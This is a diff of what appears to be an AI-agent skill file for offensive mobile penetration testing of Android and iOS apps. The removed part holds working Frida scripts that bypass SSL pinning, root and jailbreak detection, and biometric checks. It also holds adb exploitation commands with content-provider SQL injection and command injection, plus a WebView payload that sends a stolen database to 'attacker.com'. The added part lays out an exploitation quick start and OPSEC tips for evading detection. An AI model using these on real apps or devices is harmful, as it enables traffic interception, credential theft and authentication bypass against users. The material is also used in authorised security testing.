mobile-pentest · diff
git:20260528.6136b32 to git:20260628.d1cc1ce
89 added, 379 removed. Audit B to B.
---
name: mobile-pentest
- description: Mobile application penetration testing — Android/iOS static/dynamic analysis, Frida instrumentation, SSL pinning bypass, root/jailbreak detection bypass, deep-link abuse, exported components, insecure storage, biometric bypass
+ description: Mobile application penetration testing — Android/iOS static & dynamic analysis, Frida 17 instrumentation, SSL-pinning & root/jailbreak bypass, Android 14/15 Conscrypt-APEX CA injection, exported-component & content-provider abuse (CVE-2025-48609), deep-link/WebView chains, TapTrap tapjacking (USENIX '25), insecure storage/Keychain, biometric bypass, Flutter (reFlutter) & React Native (Hermes) RE
metadata:
type: offensive
phase: exploitation
- platforms: android, ios
+ tools: frida, frida-tools, objection, jadx, apktool, reflutter, hermes-dec, hbctool, mitmproxy, burp, palera1n, dopamine, frida-ios-dump, bagbak, mobsf, drozer, nuclei
+ mitre: TA0001
kill_chain:
phase: [recon, exploit]
step: [1, 4]
- attck_tactics: [TA0043, TA0002]
+ attck_tactics: [TA0043, TA0001, TA0009, TA0006, TA0005]
+ attck_techniques: [T1626, T1626.001, T1517, T1409, T1517, T1577, T1631, T1407, T1635, T1521, T1521.001, T1417, T1417.001, T1660, T1644, T1623]
depends_on: [recon-osint, reverse-engineering]
- feeds_into: [exploit-development]
- inputs: [apk_file, ipa_file, mobile_endpoint]
- outputs: [finding_record, mobile_vulnerability_list]
+ feeds_into: [exploit-development, web-pentest]
+ inputs: [apk_file, ipa_file, mobile_endpoint, app_package_id]
+ outputs: [finding_record, mobile_vulnerability_list, intercepted_traffic, extracted_secrets]
+ references:
+ - references/environment-interception.md
+ - references/android-component-attacks.md
+ - references/webview-deeplink-exploitation.md
+ - references/insecure-storage-crypto.md
+ - references/ios-offensive.md
+ - references/crossplatform-re-instrumentation.md
+ scripts:
+ - scripts/universal_unpin.js
+ - scripts/android_ca_inject.sh
+ - scripts/manifest_attack_surface.py
+ - scripts/component_fuzz.sh
+ - scripts/ios_bypass_suite.js
+ - scripts/hermes_triage.py
---
# Mobile Application Penetration Testing
## When to Activate
- - Mobile app security assessment (Android/iOS)
- - Bug bounty mobile triage
- - App store reconnaissance
- - Mobile malware/RAT analysis
-
- ## Lab Setup
-
- ### Android
- - Rooted device or **Genymotion** / Android Studio AVD with `userdebug` build
- - **Magisk** for systemless root
- - **LSPosed** for Xposed modules
- - **Frida server** matching device architecture
- - **Burp / Mitmproxy** with system-trusted CA via Magisk module (`MagiskTrustUserCerts`)
-
- ### iOS
- - Jailbroken device (palera1n / checkra1n / Dopamine depending on iOS version)
- - **Frida** + **Objection** + **Filza** + **SSH via USB** (iproxy 2222 22)
- - Burp CA installed via Settings → General → Device Management → Certificate Trust Settings
-
- ## Static Analysis
-
- ### Android
-
- ```bash
- # Decode resources + smali
- apktool d app.apk -o app_decoded
-
- # Decompile to Java
- jadx -d app_src app.apk
-
- # Manifest review
- xmllint --format app_decoded/AndroidManifest.xml | less
- # Look for:
- # - android:exported="true" (attack surface)
- # - intent-filters (deep links)
- # - custom permissions
- # - android:debuggable="true"
- # - android:allowBackup="true"
- # - networkSecurityConfig
-
- # Secrets and endpoints
- grep -rE '(https?://[a-z0-9.-]+|api[_-]?key|secret|token|firebase|amazonaws|appspot)' app_src/
- grep -r "Log\.[dwief]" app_src/ # leftover debug logs
-
- # Native libraries
- file app_decoded/lib/*/*.so
- # Reverse engineer in Ghidra/IDA; look for JNI_OnLoad and Java_* functions
- ```
-
- ### iOS
-
- ```bash
- # Pull IPA from device
- frida-ios-dump -o app.ipa "com.vendor.app"
-
- # Decrypt if needed (jailbroken device)
- bagbak com.vendor.app
-
- # Extract
- unzip app.ipa
-
- # Class dump
- class-dump-dyld -H Payload/App.app/App -o headers/
- # Or for Swift: use Hopper / IDA
-
- # Strings / endpoints
- strings -a Payload/App.app/App | grep -E '(https?://|key|secret|api)'
-
- # Info.plist analysis
- plutil -p Payload/App.app/Info.plist
- # Look for:
- # - NSAppTransportSecurity exceptions
- # - CFBundleURLTypes (URL schemes)
- # - associated-domains entitlements
- # - UIFileSharingEnabled
- ```
-
- ## Dynamic Analysis & Frida
-
- ### SSL Pinning Bypass
-
- ```javascript
- // Android — Universal bypass (OkHttp/CertificatePinner/TrustManager)
- Java.perform(() => {
- const X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
- const SSLContext = Java.use('javax.net.ssl.SSLContext');
-
- const TrustManager = Java.registerClass({
- name: 'com.sensepost.test.TrustManager',
- implements: [X509TrustManager],
- methods: {
- checkClientTrusted(chain, authType) {},
- checkServerTrusted(chain, authType) {},
- getAcceptedIssuers() { return []; }
- }
- });
-
- const TrustManagers = [TrustManager.$new()];
- const SSLContext_init = SSLContext.init.overload(
- '[Ljavax.net.ssl.KeyManager;', '[Ljavax.net.ssl.TrustManager;', 'java.security.SecureRandom'
- );
- SSLContext_init.implementation = function(keyManager, trustManager, secureRandom) {
- SSLContext_init.call(this, keyManager, TrustManagers, secureRandom);
- };
- });
-
- // iOS — Bypass SSL pinning
- const SecTrustEvaluate = Module.findExportByName('Security', 'SecTrustEvaluate');
- Interceptor.replace(SecTrustEvaluate, new NativeCallback((trust, result) => {
- result.writeU32(1); // kSecTrustResultProceed
- return 0; // errSecSuccess
- }, 'int', ['pointer', 'pointer']));
- ```
-
- ### Root/Jailbreak Detection Bypass
-
- ```javascript
- // Android — Bypass root detection
- Java.perform(() => {
- const File = Java.use('java.io.File');
- File.exists.implementation = function () {
- const path = this.getAbsolutePath();
- if (path.includes('su') || path.includes('Magisk') || path.includes('magisk')) {
- return false;
- }
- return this.exists();
- };
-
- // RootBeer library bypass
- const RootBeer = Java.use('com.scottyab.rootbeer.RootBeer');
- RootBeer.isRooted.implementation = () => false;
- });
-
- // iOS — Bypass jailbreak detection
- const stat = Module.findExportByName(null, 'stat');
- Interceptor.attach(stat, {
- onEnter(args) {
- const path = args[0].readUtf8String();
- if (/Cydia|jailbreak|substrate|frida|sileo/i.test(path)) {
- args[0] = Memory.allocUtf8String('/nonexistent');
- }
- }
- });
-
- const fopen = Module.findExportByName(null, 'fopen');
- Interceptor.attach(fopen, {
- onEnter(args) {
- const path = args[0].readUtf8String();
- if (/Cydia|jailbreak/i.test(path)) {
- args[0] = Memory.allocUtf8String('/nonexistent');
- }
- }
- });
- ```
-
- ### Objection (Frida-based shortcuts)
-
- ```bash
- # Android
- objection -g com.app.package explore
- android hooking watch class com.app.MainActivity
- android hooking list activities
- android intent launch_activity com.app.SecretActivity
- android sslpinning disable
-
- # iOS
- objection -g com.app.bundle explore
- ios hooking watch class ViewController
- ios sslpinning disable
- ios jailbreak disable
- ios keychain dump
- ```
-
- ## Exported Components (Android)
-
- ### Attack Surface Enumeration
-
- ```bash
- # List exported components
- adb shell dumpsys package com.app.package | grep -A 5 "android.intent.action"
-
- # Or from manifest:
- grep -E 'android:exported="true"|intent-filter' AndroidManifest.xml
- ```
-
- ### Activity Exploitation
-
- ```bash
- # Launch exported activity directly
- adb shell am start -n com.app.package/.SecretActivity
-
- # With extras
- adb shell am start -n com.app.package/.WebViewActivity \
- --es url "file:///data/data/com.app.package/databases/secrets.db"
- ```
-
- ### Service Exploitation
-
- ```bash
- # Start exported service
- adb shell am startservice -n com.app.package/.VulnerableService
-
- # Send intent with data
- adb shell am startservice -n com.app.package/.CommandService \
- --es command "cat /data/data/com.app.package/shared_prefs/secrets.xml"
- ```
-
- ### Broadcast Receiver
-
- ```bash
- # Send broadcast
- adb shell am broadcast -a com.app.package.CUSTOM_ACTION \
- --es data "malicious_payload"
- ```
-
- ### Content Provider
-
- ```bash
- # Query content provider
- adb shell content query --uri content://com.app.package.provider/users
-
- # Insert
- adb shell content insert --uri content://com.app.package.provider/users \
- --bind username:s:admin --bind password:s:hacked
-
- # SQL injection in content provider
- adb shell content query --uri "content://com.app.package.provider/users?id=1' OR '1'='1"
- ```
-
- ## Deep Links & URL Schemes
-
- ### Android Deep Links
-
- ```bash
- # Test deep link
- adb shell am start -W -a android.intent.action.VIEW \
- -d "myapp://secret/admin?token=stolen"
-
- # Common vulnerabilities:
- # - No validation of parameters
- # - Path traversal: myapp://file?path=../../../etc/passwd
- # - Open redirect: myapp://redirect?url=https://attacker.com
- # - XSS in WebView: myapp://webview?url=javascript:alert(1)
- ```
-
- ### iOS URL Schemes
-
- ```bash
- # Test URL scheme
- xcrun simctl openurl booted "myapp://secret/admin?token=stolen"
-
- # Or via Safari: myapp://action?param=value
- # Or via Shortcuts app for automation
- ```
-
- ## Insecure Data Storage
-
- ### Android
-
- ```bash
- # Shared Preferences (often world-readable)
- adb shell cat /data/data/com.app.package/shared_prefs/*.xml
-
- # SQLite databases
- adb pull /data/data/com.app.package/databases/
- sqlite3 app.db "SELECT * FROM users;"
-
- # Internal storage
- adb shell ls -la /data/data/com.app.package/files/
-
- # External storage (world-readable)
- adb shell ls /sdcard/Android/data/com.app.package/
-
- # Keystore misuse — check if keys are hardware-backed
- # If not, extractable via root
- ```
-
- ### iOS
-
- ```bash
- # NSUserDefaults
- cat /var/mobile/Containers/Data/Application/<UUID>/Library/Preferences/com.app.bundle.plist
-
- # Keychain (requires jailbreak + keychain-dumper)
- keychain_dumper -a
-
- # Files
- ls -la /var/mobile/Containers/Data/Application/<UUID>/Documents/
- ls -la /var/mobile/Containers/Data/Application/<UUID>/Library/
- ```
-
- ## WebView Vulnerabilities
-
- ### Android JavaScriptInterface
+ - Android/iOS application security assessment, bug-bounty mobile triage, or app-store reconnaissance
+ - Need to intercept TLS traffic (SSL/cert pinning, Android 14/15 Conscrypt-APEX trust store, Flutter/RN stacks)
+ - Bypass root/jailbreak or biometric-gating controls during dynamic analysis
+ - Enumerate and exploit exported components, content providers, deep links, and WebViews
+ - Extract secrets from insecure storage (SharedPrefs, SQLite, Keychain, Keystore) and reverse hybrid apps
- ```java
- // Vulnerable code:
- webView.addJavascriptInterface(new JSBridge(), "JSBridge");
+ ## Technique Map
- // Exploit from loaded HTML:
- <script>
- JSBridge.getClass().forName('java.lang.Runtime')
- .getMethod('exec', String).invoke(
- JSBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),
- 'id'
- )
- </script>
- ```
+ | Technique | ATT&CK | CWE | Reference | Script |
+ |-----------|--------|-----|-----------|--------|
+ | Lab build + Frida 17 server/gadget | T1635 | CWE-1188 | references/environment-interception.md | - |
+ | Android 14/15 Conscrypt-APEX CA injection | T1521.001 | CWE-295 | references/environment-interception.md | scripts/android_ca_inject.sh |
+ | SSL/cert-pinning bypass (Java TM/OkHttp/native) | T1521.001 | CWE-295 | references/environment-interception.md | scripts/universal_unpin.js |
+ | Root detection bypass (RootBeer/native stat) | T1633.001 | CWE-693 | references/environment-interception.md | scripts/universal_unpin.js |
+ | Exported activity/service/receiver abuse | T1626.001 | CWE-926 | references/android-component-attacks.md | scripts/manifest_attack_surface.py |
+ | Content-provider SQLi / path traversal (CVE-2025-48609) | T1409 | CWE-22, CWE-89 | references/android-component-attacks.md | scripts/component_fuzz.sh |
+ | Task hijacking / StrandHogg / TapTrap (USENIX '25) | T1517 | CWE-1021 | references/android-component-attacks.md | scripts/manifest_attack_surface.py |
+ | Deep-link / intent-redirect / scheme hijack | T1635, T1577 | CWE-939 | references/webview-deeplink-exploitation.md | scripts/component_fuzz.sh |
+ | WebView JS-interface RCE + file:// theft | T1577 | CWE-749 | references/webview-deeplink-exploitation.md | scripts/component_fuzz.sh |
+ | OAuth custom-scheme callback interception | T1635 | CWE-940 | references/webview-deeplink-exploitation.md | - |
+ | Insecure storage (SharedPrefs/SQLite/external) | T1409 | CWE-312 | references/insecure-storage-crypto.md | scripts/manifest_attack_surface.py |
+ | Keystore/Keychain misuse + dumping | T1634 | CWE-522 | references/insecure-storage-crypto.md | scripts/ios_bypass_suite.js |
+ | Biometric bypass (BiometricPrompt/LAContext) | T1634 | CWE-287 | references/insecure-storage-crypto.md | scripts/ios_bypass_suite.js |
+ | iOS jailbreak + JB-detection bypass | T1635 | CWE-693 | references/ios-offensive.md | scripts/ios_bypass_suite.js |
+ | IPA decrypt / class-dump / URL-scheme abuse | T1409, T1635 | CWE-200 | references/ios-offensive.md | scripts/ios_bypass_suite.js |
+ | Flutter RE / reFlutter pinning bypass | T1521.001 | CWE-295 | references/crossplatform-re-instrumentation.md | scripts/hermes_triage.py |
+ | React Native Hermes bytecode decompile | T1640 | CWE-656 | references/crossplatform-re-instrumentation.md | scripts/hermes_triage.py |
- ### file:// Access
+ ## Quick Start
```bash
- # If setAllowFileAccessFromFileURLs(true)
- # Load malicious HTML that reads local files
- adb shell am start -n com.app/.WebViewActivity \
- --es url "file:///sdcard/malicious.html"
+ # ---- ANDROID ----
+ # 0. Pull + statically triage the APK (manifest, secrets, exported surface, framework ID)
+ adb shell pm path com.target.app # locate split APKs
+ adb pull /data/app/.../base.apk .
+ python3 scripts/manifest_attack_surface.py base.apk -o surface.json
+ jadx -d src base.apk & apktool d base.apk -o decoded
- # malicious.html:
- <script>
- fetch('file:///data/data/com.app.package/databases/secrets.db')
- .then(r => r.text())
- .then(data => fetch('https://attacker.com/exfil?data=' + btoa(data)));
- </script>
- ```
+ # 1. Frida 17: match server to host tools; push + run
+ frida --version # e.g. 17.x -> use matching server
+ adb push frida-server-17.x-android-arm64 /data/local/tmp/frida-server
+ adb shell "su -c 'chmod 755 /data/local/tmp/frida-server && /data/local/tmp/frida-server &'"
- ## Biometric Bypass
+ # 2. Trust Burp CA on Android 14/15 (APEX is immutable -> Zygote namespace bind-mount)
+ bash scripts/android_ca_inject.sh 9a5ba575.0 cacert.pem # see reference for cert hashing
- ### Android BiometricPrompt
+ # 3. Spawn target with universal unpinning + root-detection bypass
+ frida -U -f com.target.app -l scripts/universal_unpin.js --no-pause
- ```javascript
- // Bypass if app doesn't bind crypto operation to biometric
- Java.perform(() => {
- const Callback = Java.use('androidx.biometric.BiometricPrompt$AuthenticationCallback');
- Callback.onAuthenticationSucceeded.implementation = function (result) {
- console.log('[+] Biometric bypassed');
- return this.onAuthenticationSucceeded(result);
- };
- Callback.onAuthenticationFailed.implementation = function () {
- console.log('[+] Ignoring auth failure');
- };
- });
- ```
+ # 4. Hit the exported attack surface from surface.json
+ bash scripts/component_fuzz.sh com.target.app surface.json
- ### iOS LAContext
+ # ---- iOS ----
+ frida-ios-dump -o app.ipa com.target.app # decrypt + pull (jailbroken)
+ frida -U -f com.target.app -l scripts/ios_bypass_suite.js --no-pause # JB + pinning + biometric + keychain
- ```javascript
- // Bypass if app trusts boolean result without Keychain-bound key
- const LAContext = ObjC.classes.LAContext;
- Interceptor.attach(LAContext['- evaluatePolicy:localizedReason:reply:'].implementation, {
- onEnter(args) {
- const block = new ObjC.Block(args[4]);
- const original = block.implementation;
- block.implementation = function(success, error) {
- console.log('[+] Biometric bypassed');
- original.call(this, true, NULL);
- };
- }
- });
+ # ---- HYBRID ----
+ file decoded/assets/index.android.bundle # "Hermes JavaScript bytecode" => RN
+ python3 scripts/hermes_triage.py base.apk # detect Flutter/RN, drive reFlutter/hermes-dec
```
- ## Firebase / Cloud Misconfig
-
- ```bash
- # Firebase Realtime DB (check for open read/write)
- curl https://app-name.firebaseio.com/.json
-
- # If returns data → no auth required
- # Test write:
- curl -X PUT -d '{"hacked":true}' https://app-name.firebaseio.com/test.json
-
- # Firestore (check rules)
- # Look for: allow read, write: if true;
+ ## OPSEC & Detection (summary)
- # AWS S3 buckets (from app strings)
- aws s3 ls s3://bucket-name --no-sign-request
- ```
+ | Technique | Telemetry / IOC | Detection (Sigma / app-side) | OPSEC note |
+ |-----------|-----------------|------------------------------|------------|
+ | Frida instrumentation | `frida-server`/`gadget` ports (27042), `re.frida.server`, suspicious maps regions, named pipes `linjector` | App scans `/proc/self/maps` for `frida`, checks D-Bus port, thread `gum-js-loop`; Play Integrity | Use `frida-gadget` renamed lib, custom port `frida-server -l 0.0.0.0:1337`, magisk-hide / Shamiko |
+ | CA injection (APEX) | New trust anchor in process trust store; cert CN mismatch on pinned hosts | Network Security Config `<trust-anchors>` excludes user store; pinning catches it | Mount lives only in Zygote ns, vanishes on Zygote crash — re-inject; nothing written to /system |
+ | SSL-pinning bypass | TLS handshake to proxy IP; cert chain not app-pinned cert | App-side pin failure callbacks fire (if logged); telemetry SDK sees proxy cert | Hook before first request; for Flutter prefer reFlutter patch over runtime to avoid crash loops |
+ | Root/JB bypass | `getprop ro.debuggable`, su binaries, magisk paths queried | RootBeer/iXGuard SDK reports; SafetyNet/Play Integrity attestation server-side | Bypass client checks only; server-side attestation (Play Integrity / DeviceCheck) is unaffected |
+ | Exported component abuse | `am start`/`startservice`/`broadcast` from adb; foreign UID intent | App logs unexpected caller UID; `Binder.getCallingUid()` checks | Use on-device malicious app for realism; adb leaves shell history |
+ | Content-provider traversal | `content query` with `../`; openFile on out-of-dir path | FileProvider canonical-path check; CVE-2025-48609 patched Mar 2026 SPL | URL-encode `..%2f` to dodge naive filters; read-only first |
+ | TapTrap / task hijack | Transparent activity transition, taskAffinity overlap, animationScale abuse | TapTrap fixed Dec 2025 SPL; check `targetSdk`, taskAffinity="" | Zero-permission; works <Dec-2025 patch; user study: 100% missed at least one variant |
+ | Keychain/Keystore dump | `keychain_dumper`, frida memory scrape, SecItemCopyMatching hooks | Keychain items with `.biometryCurrentSet` resist hooking; SE-backed keys unextractable | JB device dumps keychain plaintext regardless of ACL; flag SE vs SW keys in report |
+ | Biometric bypass | LAContext `evaluatePolicy` / BiometricPrompt callback hook | Only works on boolean-result pattern, NOT `SecAccessControl`-gated crypto | Report root cause: auth result not bound to a crypto/keychain operation |
- ## API Testing
+ ## Deep Dives
- ```bash
- # Intercept API calls via Burp
- # Test for:
- # - IDOR: change user_id parameter
- # - Mass assignment: add "role":"admin" to JSON
- # - Rate limiting bypass
- # - JWT manipulation (alg:none, weak secret)
- # - GraphQL introspection
- # - Excessive data exposure
- ```
+ - **references/environment-interception.md** — Rooted/jailbroken lab, Genymotion/AVD, Magisk+Shamiko, Frida 17 breaking changes (bridge removal, frida-pm, frida-compile), gadget mode for non-root, Android 14/15 Conscrypt-APEX CA injection via Zygote namespace bind-mount, universal SSL-pinning bypass (Java TrustManager/OkHttp/Network Security Config/native BoringSSL), root-detection bypass.
+ - **references/android-component-attacks.md** — Manifest attack-surface enumeration, exported activity/service/broadcast/provider exploitation, content-provider SQLi & path traversal (CVE-2025-48609 MmsProvider), `intent://` redirection to non-exported components, task hijacking (StrandHogg 1.0/2.0 CVE-2020-0096) and TapTrap animation-driven tapjacking (USENIX Security '25), drozer + adb workflows.
+ - **references/webview-deeplink-exploitation.md** — `addJavascriptInterface` RCE, `setAllowUniversalAccessFromFileURLs`/`file://` local-file theft, deep-link → WebView open-redirect/XSS chains, `intent://` browsable-activity pivots, OAuth custom-scheme callback hijack (RFC 8252), iOS URL-scheme & Universal Link abuse, one-click browser-to-WebView exploitation.
+ - **references/insecure-storage-crypto.md** — Android SharedPreferences/SQLite/internal+external storage, Android Keystore misuse (non-hardware-backed keys, no `setUserAuthenticationRequired`), iOS Keychain ACLs & `keychain_dumper`, NSUserDefaults/plist leaks, biometric bypass (BiometricPrompt CryptoObject vs result-only, LAContext `evaluatePolicy`), hardcoded secrets & Firebase/S3 misconfig, MASVS-STORAGE mapping.
+ - **references/ios-offensive.md** — Jailbreak tooling matrix (palera1n checkm8 A8–A11/T2 iOS 15–18.x, Dopamine A8–A16 iOS 15–16.6.1, Dopamine HideJailbreak), JB-detection bypass (Frida stat/fopen/dlopen hooks + Shadow), IPA decryption (frida-ios-dump/bagbak), class-dump/Swift demangling, entitlements & URL-scheme analysis, Frida-version pinning gotchas.
+ - **references/crossplatform-re-instrumentation.md** — Flutter Dart-stack interception (reFlutter `libflutter.so` patch of `ssl_crypto_x509_session_verify_cert_chain`, iptables/proxydroid fallback), React Native Hermes bytecode RE (hermes-dec, hbctool patch/reassemble, hermes-decomp, `CatalystInstanceImpl.loadScriptFromAssets` Frida hook), native `.so` JNI/`JNI_OnLoad` analysis in Ghidra/IDA.